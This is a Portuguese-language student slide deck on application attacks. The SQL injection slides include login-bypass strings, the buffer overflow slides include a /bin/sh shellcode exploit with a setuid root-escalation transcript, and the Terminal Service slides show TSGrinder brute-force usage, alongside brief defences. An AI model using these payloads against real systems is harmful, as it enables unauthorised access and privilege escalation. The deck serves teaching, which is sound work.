40
Ataques à Aplicações Alunos: Claudyson Esquivel Estevan Alexandre M. R. Chaves Flávio Euripedes de Oliveira Hítalo Gonçalves Borges Pedro Henrique de Oliveira Prof.: Márcio Aurélio R. Moreira Especialização em Segurança da Informação

Ataques à Aplicações

Embed Size (px)

DESCRIPTION

Ataques à Aplicações. Alunos: Claudyson Esquivel Estevan Alexandre M. R. Chaves Flávio Euripedes de Oliveira Hítalo Gonçalves Borges Pedro Henrique de Oliveira. Especialização em Segurança da Informação. Prof.: Márcio Aurélio R. Moreira. - PowerPoint PPT Presentation

Citation preview

Page 1: Ataques à Aplicações

Ataques à Aplicações

Alunos: Claudyson Esquivel Estevan Alexandre M. R. Chaves Flávio Euripedes de Oliveira Hítalo Gonçalves Borges Pedro Henrique de Oliveira

Prof.: Márcio Aurélio R. Moreira

Especialização em Segurança da Informação

Page 2: Ataques à Aplicações

Será apresentado alguns tipos de ataques mais usados em aplicações hoje

SQL Injection Buffer Overflow Ataques à Terminal Service do Windows

Introdução

Page 3: Ataques à Aplicações

Tipo de ataque no qual é inserido um código SQL.

Pode ser usado para ataques em sites ou em aplicações locais.

Grande número de serviços WEB hoje viabilizam o ataque.

Top 10 2007 lista este tipo de ataque em segundo lugar. http://www.owasp.org/index.php/Top_10_2007

SQL Injection

Page 4: Ataques à Aplicações

Qualquer tipo de aplicação (WEB ou não) que possua um mínimo de segurança pede usuário e senha na tela de abertura (autenticação).

Normalmente essas aplicações utilizam um banco de dados (Oracle, DB2, Sql Server,etc) com uma tabela com usuario e senha.

Lógica do Ataque SQL Injection

Page 5: Ataques à Aplicações

Instrução interna:select usuario, senha from Users where usuario=' & cUser &

' and senha=' & cSenha & '

Não existe nenhum problema com a instrução, funciona perfeito.

Lógica do Ataque SQL Injection

Page 6: Ataques à Aplicações

Lógica do Ataque SQL Injection

Se digitarmos Flavio no usuário e UNIMINAS na senha a instrução SQL será a seguinte:select usuario, senha from Users where usuario=‘Flavio' and senha=‘UNIMINAS'

As aspas delimitam os valores recebidos pelas variáveis.

Page 7: Ataques à Aplicações

Lógica do Ataque SQL Injection

Se de propósito digitarmos o seguinte no usuário e senha: ’ or ’1=1A instrução SQL ficará da seguinte maneira: select usuario, senha from Users where usuario=‘’or’1=1’ and senha=‘’or’1=1’

Page 8: Ataques à Aplicações

Lógica do Ataque SQL Injection

Interpretando a instrução temos o seguinte:

Me retorne o usuário que seja igual a vazio (não existe nenhum) OU verdadeiro (opa.. verdadeiro é verdadeiro, então todos usuários são validos). O mesmo raciocínio vale para a senha .Provavelmente entraremos no sistema como o primeiro usuário da tabela.

Page 9: Ataques à Aplicações

Lógica do Ataque SQL Injection

O pior é que quando o programador criou os usuários da tabela, provavelmente o primeiro usuário será ele próprio e ainda com privilégio de administrador.

Page 10: Ataques à Aplicações

Lógica do Ataque SQL Injection

Outro caso é quando queremos entrar com o username de uma determinada pessoa.

Colocamos o nome do usuário e logo em seguida a instrução mágica anterior.

O SQL entenderá que deverá retornar o usuário informado e que tenha uma senha vazia ou verdadeira, ou seja ele irá ignorar a senha e apontará para o registro que o username é igual ao informado.

Page 11: Ataques à Aplicações

Lógica do Ataque SQL Injection

Outro tipo de injeção SQL é quando não sabemos o nome do usuário mas sabemos que o site tem muitos cadastros.

Colocamos ’ or ’1=1 no usuário e chutamos uma senha como 123456, 123123,123321.

Num site com mais de 200 cadastros é 90% de certeza que alguém cadastrou uma senha destas.

Page 12: Ataques à Aplicações

Lógica do Ataque SQL Injection

Outro forma de ataque seria usar os caracteres -- no final do campo:

Usuário: admin’--

Senha:xyz Você provavelmente conseguirá acesso como

admin, levando-se em conta que a maioria dos cadastros possuem o usuário admin.

O caractere -- especifica pro sql que daquele ponto em diante tudo é comentário.

Page 13: Ataques à Aplicações

Lógica do Ataque SQL Injection

A instrução ficará dessa maneira:

Select * from usuarios where username=’admin’ -- ‘ and senha=’xyz’ “

A partir dos -- tudo virou comentário.

Page 14: Ataques à Aplicações

Defesas deste tipo de ataque

A forma mais fácil de conter esse ataque seria tratar o caractere da aspa simples dentro dos campos de usuário e senha, não deixando ele estar contido nesses campos.

Page 15: Ataques à Aplicações

Buffer Overflow

O que é o Buffer Overflow? O seu surgimento. Qual o intuito de ataques do tipo Buffer

Overflow?

Page 16: Ataques à Aplicações

Como explorar o Buffer Overflow?#include <stdio.h>#include <string.h> main(int argc, char *argv[]){

char buffer[512];if(argc < 2){ printf("Programa bugado!!n"); printf("Uso: %s n",argv[0]);exit(0);}strcpy(buffer,argv[1]);printf("Voce digitou %s!!n",buffer);return 0;

}

Lógica do Ataque Buffer Overflow

Page 17: Ataques à Aplicações

Lógica do Ataque Buffer Overflow

Como tirar proveito do Buffer Overflow O endereço de retorno. O overflow A inserção de shellcode. Elevação de privilégios na aplicação.

Page 18: Ataques à Aplicações

Modelo usual de memória

DATA(Stack e Heap)

.BSS(Heap)

.TEXT

Page 19: Ataques à Aplicações

Stack Overflow

Como se dá a utilização da pilha no sistema operacional?

Como funciona o Stack Overflow?

Page 20: Ataques à Aplicações

Stack Overflow Exemplo de stack overflow#include <stdio.h>#include <string.h>char shellcode[ ] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";char large_string[128];int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i];strcpy(buffer, large_string);return 0;}

Page 21: Ataques à Aplicações

Stack Overflow

/* Compilando */seg@uniminas:~$ gcc bof.cseg@uniminas:~$ suPassword:seg@uniminas:~# chown root.root a.outseg@uniminas:~# chmod u+s a.outseg@uniminas:~$ whoamisegseg@uniminas:~$ ./a.outsh-2.05$ whoamiroot

Page 22: Ataques à Aplicações

Defesas de ataques do tipo Overflow

A melhor forma de evitar ataques do tipo buffer Overflow é um bom projeto estrutural da programação da aplicação, atentando-se a condições de testes e homologações em diferentes ambientes.

Page 23: Ataques à Aplicações

Ataques em Terminal Service

Page 24: Ataques à Aplicações

Características quanto ao uso e importância

a aplicações estão adotando o meio de Terminal para maior praticidade nos recursos de rede

poder de centralização e traçamento de perfis que os usuários podem ter

redudância e balanceamento, este serviço pode atender bem, na qual usando o próprio serviço de LB (Load Balanced) da Microsoft pode-se obter recursos nas aplicações

Thin Clients que pode facilitar nos investimentos em Hardware de estações

Page 25: Ataques à Aplicações

Característica de Ataque ao TS

Exesso de conexões Brute Force (MITM RDP) Link com trafego além do normal Acesso de usuarios que não existem Senhas de conexões expiradas por erros Request Deny Of Service Cain & Abel (Também é possível realizar um

Main The Midle no RDP)

Page 26: Ataques à Aplicações

Dados importante referente ao Request Deny Of Service

O xforce database da ISS aponta a vulnerabilidade Request Deny Of Service no Terminal Service de 16 de Julho de 2006, ela afeta inclusive windows server 2003 com SP1.

Page 27: Ataques à Aplicações

Plantaformas Afetadas

Windows 2000 Server SP 4 Windows Server 2003 Any version Windows Server 2003 Itanium Windows Server 2003 SP1 Windows Server 2003 SP1 Windows Server 2003 x64 Edition Windows XP Pro x64 Edition Windows XP SP1 windows-rdp-dos (21407)

Page 28: Ataques à Aplicações
Page 29: Ataques à Aplicações

Usando o TSGrinder

Usage:  tsgrinder.exe [options] server Options:  -w dictionary file (default 'dict')  -l 'leet' translation file  -d domain name  -u username (default 'administrator'  -b banner flag  -n number of simultaneous threads  -D debug level (default 9, lower number is more output) Exemplo:  tsgrinder.exe -w words -l leet -d workgroup -u administrator -b -n 2 10.1.1.1

Page 30: Ataques à Aplicações
Page 31: Ataques à Aplicações

Métodos para aperfeiçoar a Segurança

Existe uma ferramenta chamada 2x SecureRDP freeware que se propõe basicamente a controle de acesso, muito semelhante ao controle de MAC Address de um Access Point Wireless.

A técnica bem interessante é usar SSL para rodar o Terminal Service, garantindo processo de comunicação mais limpa e segurança.

http://www.microsoft.com/technet/prodtechnol/windowsserver2003/pt-br/library/ServerHelp/a92d8eb9-f53d-4e86-ac9b-29fd6146977b.mspx?mfr=true

Msgs de Logons Autorização por horários Determinação de acessos por políticas Solução futura com o Terminal Service Gateway no novo Windows

Server ( similar ao da citrix )

Page 32: Ataques à Aplicações

Topologia mais robusta em SSL

Page 33: Ataques à Aplicações
Page 34: Ataques à Aplicações
Page 35: Ataques à Aplicações
Page 36: Ataques à Aplicações
Page 37: Ataques à Aplicações
Page 38: Ataques à Aplicações

Modelo de TS com o novo Windows Server

Page 39: Ataques à Aplicações
Page 40: Ataques à Aplicações